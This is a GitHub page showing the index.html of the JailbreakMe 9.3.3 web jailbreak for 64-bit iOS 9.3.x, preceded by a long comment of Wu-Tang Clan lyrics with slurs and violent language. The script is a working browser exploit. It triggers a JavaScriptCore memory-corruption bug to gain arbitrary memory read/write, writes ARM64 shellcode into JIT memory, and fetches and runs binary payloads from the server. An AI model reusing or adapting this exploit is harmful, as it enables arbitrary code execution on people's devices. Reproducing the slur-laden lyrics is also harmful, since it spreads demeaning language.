forked from gek64/ios9.3-jbme
-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathindex.html
512 lines (467 loc) · 14.7 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
<!--
This is licensed under the Anyone But Stefan Esser license.
---
PLZ NO RCE.
sorry 4 indentation but i was using nano lmao
---
The game of chess, is like a sword fight
You must think first, before you move
Wu style is immensely strong, and immune to nearly any weapon
When it's properly used, it's almost invincible
Raw I'ma give it to ya, with no trivia
Raw like cocaine straight from Bolivia
My hip hop will rock and shock the nation
Like the Emancipation Proclamation
Weak MC's approach with slang that's dead
You might as well run into the wall and bang your head
I'm pushin' force, my force your doubtin'
I'm makin' devils cower to the Caucus Mountains
Well I'm a sire, I set the microphone on fire
Rap styles vary, and carry like Mariah
I come from the shaolin slum, and the isle I'm from
Is comin' through with nuff niggas, and nuff guns
So if you want to come sweatin', stressin' contesting
You'll catch a sharp sword to the midsection
Don't talk the talk, if you can't walk the walk
Phony niggas are outlined in chalk
A man vexed, is what the projects made me
Rebel to the grain there's no way to barricade me
Steam-rollin' niggas with the eighteen wheeler
With the drunk driver drivin', there's no survivin'
Ruff like Timberland wear, yeah
Me and the Clan, and yo the Landcruisers out there
Peace to all the crooks, all the niggas with bad looks
Bald heads, braids, blow this hook
We got chrome tecs, nickel plated macs
Black axe, drug dealin' styles in phat stacks
I only been a good nigga for a minute though
'Cause I got to get my props, and win it yo
I got beef wit commercial-ass niggas with gold teeth
Lampin' in a Lexus eatin' beef
Straight up and down don't even bother
I got forty niggas up in here now, who kill niggas fathers
My peoples are you with me where you at?
In the front, in the back killa-bees on attack
My peoples are you with me where you at?
Smokin meth hittin caps on the block with the gats
Here I go, deep type flow
Jacque Cousteau could never get this low, I'm
Cherry bombin' shits boom!
Just warmin' up a little bit, vroom vroom
Rappinin is what's happenin'
Keep the pockets stacked and then, hands clappin' and
At the party when I move my body
Gotta get up, and be somebody
Grab the microphone put strength to the bone
Duh, duh, duh enter the Wu-Tang zone
Sure enough when I rock that stuff
Huff puff I'm gonna catch your bluff tuff
Rough, kickin' rhymes like Jim Kelly
Or Alex Haley I'm a Mi Beetle Bailey rhymes
Comin' raw style, hardcore
Niggas be comin' to the hip-hop store
Comin' to buy grocery from me
Tryin' to be a hip-hop MC
The law, in order to enter the Wu-Tang
You must bring the Ol Dirty Bastard type slang
Represent the Gza, Abbot, RZA, Shaquan, Inspecta Deck
Dirty hoe gettin' low wit his flow
Introducin' the Ghostface Killer
No one could get illa
My peoples are you with me where you at?
In the front, in the back killa-bees on attack
My peoples are you with me where you at?
Smokin meth hittin caps on the block with the gats
Speakin' of the devil psych, no it's the God, get the shit right
Mega trife, and yo I killed you in a past life
On the mic while you was kickin' that fast shit
You reneged tried again, and got blasted
Half mastered ass style mad ruff task
When I struck I had on Tims and a black mask
Remember that shit? I know you don't remember jack
That night yo I was hittin' like a spiked bat
And then you thought I was bugged out, and crazy
Strapped for nonsense, after me became lazy
Yo, nobody budge while I shot slugs
Never shot thugs, I'm runnin' with thugs that flood mugs
So grab your eight plus one, start flippin' and trippin'
Niggas is jettin' I'm lickin' off son
Wu, Tang, Wu, Tang, Wu, Tang, Wu, Tang!
Homicide's illegal and death is the penalty
What justifies the homicide, when he dies?
In his own iniquity it's the
Master of the Mantis Rapture comin at cha
We have an APB on an MC Killer
Look like the work of a Master
Evidence indicates that's it's stature
Merciless like a terrorist hard to capture
The flow changes like a chameleon
Plays like a friend, and stabs you like a dagger
This technique attacks the immune system
Disguised like a lie paralyzin' the victim
You scream, as it enters your bloodstream
Erupts your brain from the pain these thoughts contain
Movin' on a nigga with the speed of a centipede
And injure any motherfuckin' contender
My peoples are you with me where you at?
In the front, in the back killa-bees on attack
My peoples are you with me where you at?
Smokin meth hittin caps on the block with the gats
---
Shaolin shadowboxing, and the Wu-Tang sword style
If what you say is true,
The Shaolin and the Wu-Tang could be dangerous
Do you think your Wu-Tang sword can defeat me?
En garde, I'll let you try my Wu-Tang style
Bring da motherfuckin' ruckus
Bring da motherfuckin' ruckus
Bring da mother, bring da motherfuckin' ruckus
Bring da motherfuckin' ruckus
Ghostface, catch the blast of a hype verse
My glock bursts, leave in a hearse, I did worse
I come rough, tough like an elephant tusk
Ya head rush, fly like Egyptian musk
Aw shit, Wu-Tang Clan spark the wicks an'
However, I master the trick just like Nixon
Causin' terror, quick damage ya whole era
Hardrocks is locked the fuck up, or found shot
P.L.O. style, hazardous, cause I wreck this dangerous
I blow sparks like Waco, Texas
I watch my back like I'm locked down, hardcore
Hittin' sound, watch me act bugged, and tear it down
A literate type asshole, songs goin' gold, no doubt
And you watch a corny nigga fold
Yeah, they fake and all that
Carryin' gats but yo, my Clan
Rollin like forty Macs
Now ya act convinced, I guess it makes sense
Wu-Tang, yo sew, represent
I wait for one to act up
Now I got him backed up
Gun to his neck now, react what?
And that's one in the chamber
Wu-Tang banger, 36 styles of danger
Bring da motherfuckin' ruckus
Bring da motherfuckin' ruckus
Bring da mother, bring da motherfuckin' ruckus
Bring da motherfuckin' ruckus
I rip it hardcore, like porno-flick bitches
I roll with groups of ghetto bastards with biscuits
Check it, my method on the microphone's bangin'
Wu-Tang slang'll leave your headpiece hangin'
Bust this, I'm kickin' like Segal, Out For Justice
The roughness, yes, the rudeness, ruckus
Redrum, I verbally assault with the tongue
Murder one, my style shot ya knot like a stun-gun
I'm hectic, I wreck it with the quickness
Set it on the microphone, and competition get blown
By this nasty ass nigga with my nigga, the RZA
Charged like a bull and got pull like a trigga
So bad, stabbin' up the pad with the vocab, crab
I scream on ya ass like your dad, bring it on
Bring da motherfuckin' ruckus
Bring da motherfuckin' ruckus
Bring da mother, bring da motherfuckin' ruckus
Bring da motherfuckin' ruckus
Yo, I'm more rugged than slave man boots
New recruits, I'm fuckin' up MC troops
I break loops, and trample shit, while I stomp!
A mud hole in that ass, cause I'm straight out the swamp
Creepin' up on site, now it's Fright Night
My Wu-Tang slang is mad fuckin' dangerous
And more deadly than the stroke of an axe
Choppin' through ya back swish
Givin' bystanders heart-attacks
Niggas try to flip, tell me who is him
I blow up his fuckin' prism
Make it a vicious act of terrorism
You want to bring it, so fuck it
Come on and bring the ruckus
And I provoke niggaz to kick buckets
I'm wettin' cream, I ain't wettin' fame
Who sellin' gain, I'm givin' out a deadly game
It's not the Russian it's the Wu-Tang crushin'
Roulette, slip up and get fucked like Suzette
Bring da fuckin' ruckus
Bring da motherfuckin' ruckus
Bring da motherfuckin' ruckus
Bring da mother, bring da motherfuckin' ruckus
Bring da motherfuckin' ruckus
So bring it on
So bring it on
So bring it on
So bring it on
So bring it on
So bring it on
So bring it on
Punk nigga!
--!>
<html manifest="off.appcache">
<head>
<title>JailbreakMe 9.3.3</title>
<meta name="viewport" content="user-scalable=1.0,initial-scale=1.0,minimum-scale=1.0,maximum-scale=1.0">
<meta name="apple-mobile-web-app-capable" content="no">
<meta name="format-detection" content="telephone=no">
<link rel="apple-touch-icon" href="touch-icon-iphone.png">
<meta name="apple-mobile-web-app-title" content="JailbreakMe" />
<style>
body {
overflow: hidden;
position: fixed;
position: relative;
}
h1{
overflow: hidden;
position: fixed;
position: absolute;
top: 40%;
left: 50%;
transform: translate(-50%, -50%);
}
footer {
position: absolute;
left: 0;
bottom: 0;
height: 40px;
width: 100%;
overflow:hidden;
}
</style>
</head>
<body>
<script>
function load_binary_resource(url) {
var req = new XMLHttpRequest();
req.open('GET', url, false);
req.overrideMimeType('text\/plain; charset=x-user-defined');
req.send(null);
if (req.status != 200) {
document.write("fail downloading loader");
stop = 1
};
return req.responseText;
}
var mem0 = 0;
var mem1 = 0;
var mem2 = 0;
function read4(addr) {
mem0[4] = addr;
var ret = mem2[0];
mem0[4] = mem1;
return ret;
}
function write4(addr, val) {
mem0[4] = addr;
mem2[0] = val;
mem0[4] = mem1;
}
filestream = load_binary_resource("exec")
var shll = new Uint32Array(filestream.length / 4);
for (var i = 0; i < filestream.length;) {
var word = (filestream.charCodeAt(i) & 0xff) | ((filestream.charCodeAt(i + 1) & 0xff) << 8) | ((filestream.charCodeAt(i + 2) & 0xff) << 16) | ((filestream.charCodeAt(i + 3) & 0xff) << 24);
shll[i / 4] = word;
i += 4;
}
var print = alert;
_dview = null;
function u2d(low, hi) {
if (!_dview) _dview = new DataView(new ArrayBuffer(16));
_dview.setUint32(0, hi);
_dview.setUint32(4, low);
return _dview.getFloat64(0);
}
var pressure = new Array(100);
var bufs = new Array(10000);
dgc = function() {
for (var i = 0; i < pressure.length; i++) {
pressure[i] = new Uint32Array(0x10000);
}
for (var i = 0; i < pressure.length; i++) {
pressure[i] = 0;
}
}
function swag() {
if (bufs[0]) return;
dgc();
dgc();
dgc();
dgc();
dgc();
dgc();
dgc();
dgc();
for (i = 0; i < bufs.length; i++) {
bufs[i] = new Uint32Array(0x100 * 2)
for (k = 0; k < bufs[i].length;) {
bufs[i][k++] = 0x41414141;
bufs[i][k++] = 0xffff0000;
}
}
}
var trycatch = "";
for (var z = 0; z < 0x2000; z++) trycatch += "try{} catch(e){}; ";
var fc = new Function(trycatch);
var fcp = 0;
var smsh = new Uint32Array(0x10)
function smashed(stl) {
document.body.innerHTML = "win! " + smsh.length;
var jitf = (smsh[(0x10 + smsh[(0x10 + smsh[(fcp + 0x18) / 4]) / 4]) / 4]);
write4(jitf, 0xd28024d0);
write4(jitf + 4, 0x58000060);
write4(jitf + 8, 0xd4001001);
write4(jitf + 12, 0xd65f03c0);
write4(jitf + 16, jitf + 0x20);
write4(jitf + 20, 1);
fc();
var dyncache = read4(jitf + 0x20);
var dyncachev = read4(jitf + 0x20);
var go = 1;
while (go) {
if (read4(dyncache) == 0xfeedfacf) {
for (i = 0; i < 0x1000 / 4; i++) {
if (read4(dyncache + i * 4) == 0xd && read4(dyncache + i * 4 + 1 * 4) == 0x40 && read4(dyncache + i * 4 + 2 * 4) == 0x18 && read4(dyncache + i * 4 + 11 * 4) == 0x61707369) // lulziest mach-o parser ever
{
go = 0;
break;
}
}
}
dyncache += 0x1000;
}
dyncache -= 0x1000;
var bss = [];
var bss_size = [];
for (i = 0; i < 0x1000 / 4; i++) {
if (read4(dyncache + i * 4) == 0x73625f5f && read4(dyncache + i * 4 + 4) == 0x73) {
bss.push(read4(dyncache + i * 4 + (0x20)) + dyncachev - 0x80000000);
bss_size.push(read4(dyncache + i * 4 + (0x28)));
}
}
var shc = jitf;
var filestream = load_binary_resource("loader")
for (var i = 0; i < filestream.length;) {
var word = (filestream.charCodeAt(i) & 0xff) | ((filestream.charCodeAt(i + 1) & 0xff) << 8) | ((filestream.charCodeAt(i + 2) & 0xff) << 16) | ((filestream.charCodeAt(i + 3) & 0xff) << 24);
write4(shc, word);
shc += 4;
i += 4;
}
jitf &= ~0x3FFF;
jitf += 0x8000;
write4(shc, jitf);
write4(shc + 4, 1);
// copy macho
for (var i = 0; i < shll.length; i++) {
write4(jitf + i * 4, shll[i]);
}
alert("All set. Close this alert and lock your screen to continue. See you on the other side!")
for (var i = 0; i < bss.length; i++) {
for (k = bss_size[i] / 6; k < bss_size[i] / 4; k++) {
write4(bss[i] + k * 4, 0);
}
}
fc();
alert(2);
}
function go() {
document.body.innerHTML = "<center><h1>doing it</h1>by <a href='https://twitter.com/qwertyoruiopz'>qwertyoruiopz</a> & <a href='http://pangu.io'>pangu team</a>, for iOS 9.3.x<br />may take multiple tries, 64 bit only<br />tyvm NSO, sick 0day (at the time)</center>";
dgc();
setTimeout(go_, 400);
}
function go_() {
if (smsh.length != 0x10) {
smashed();
return;
}
dgc();
var arr = new Array(0x100);
var yolo = new ArrayBuffer(0x1000);
arr[0] = yolo;
arr[1] = 0x13371337;
var not_number = {};
not_number.toString = function() {
arr = null;
props["stale"]["value"] = null;
swag();
return 10;
};
var props = {
p0: {
value: 0
},
p1: {
value: 1
},
p2: {
value: 2
},
p3: {
value: 3
},
p4: {
value: 4
},
p5: {
value: 5
},
p6: {
value: 6
},
p7: {
value: 7
},
p8: {
value: 8
},
length: {
value: not_number
},
stale: {
value: arr
},
after: {
value: 666
}
};
var target = [];
var stale = 0;
var before_len = arr.length;
Object.defineProperties(target, props);
stale = target.stale;
stale[0] += 0x101;
stale[1] = {}
for (var z = 0; z < 0x1000; z++) fc();
for (i = 0; i < bufs.length; i++) {
for (k = 0; k < bufs[0].length; k++) {
if (bufs[i][k] == 0x41414242) {
stale[0] = fc;
fcp = bufs[i][k];
stale[0] = {
'a': u2d(105, 0x1172600),
'b': u2d(0, 0),
'c': smsh,
'd': u2d(0x100, 0)
}
stale[1] = stale[0]
bufs[i][k] += 0x10; // misalign so we end up in JSObject's properties, which have a crafted Uint32Array pointing to smsh
bck = stale[0][4];
stale[0][4] = 0; // address, low 32 bits
// stale[0][5] = 1; // address, high 32 bits == 0x100000000
stale[0][6] = 0xffffffff;
mem0 = stale[0];
mem1 = bck;
mem2 = smsh;
bufs.push(stale)
if (smsh.length != 0x10) {
smashed(stale[0]);
}
return;
}
}
}
document.location.reload();
}
</script>
<center><a href="javascript:go()"><h1>go</h1></a>by <a href='https://twitter.com/qwertyoruiopz'>qwertyoruiopz</a> & <a href='http://pangu.io'>pangu team</a>, for iOS 9.3.x<br />may take multiple tries, 64 bit only<br />tyvm NSO, sick 0day (at the time)</center>
<footer><center><a href="cydia://url/https://cydia.saurik.com/api/share#?source=https://jbme.qwertyoruiop.com">Add repo for 'jbmepatch', a tweak that fixes this vulnerability.</a></center></footer>
</body>
</html>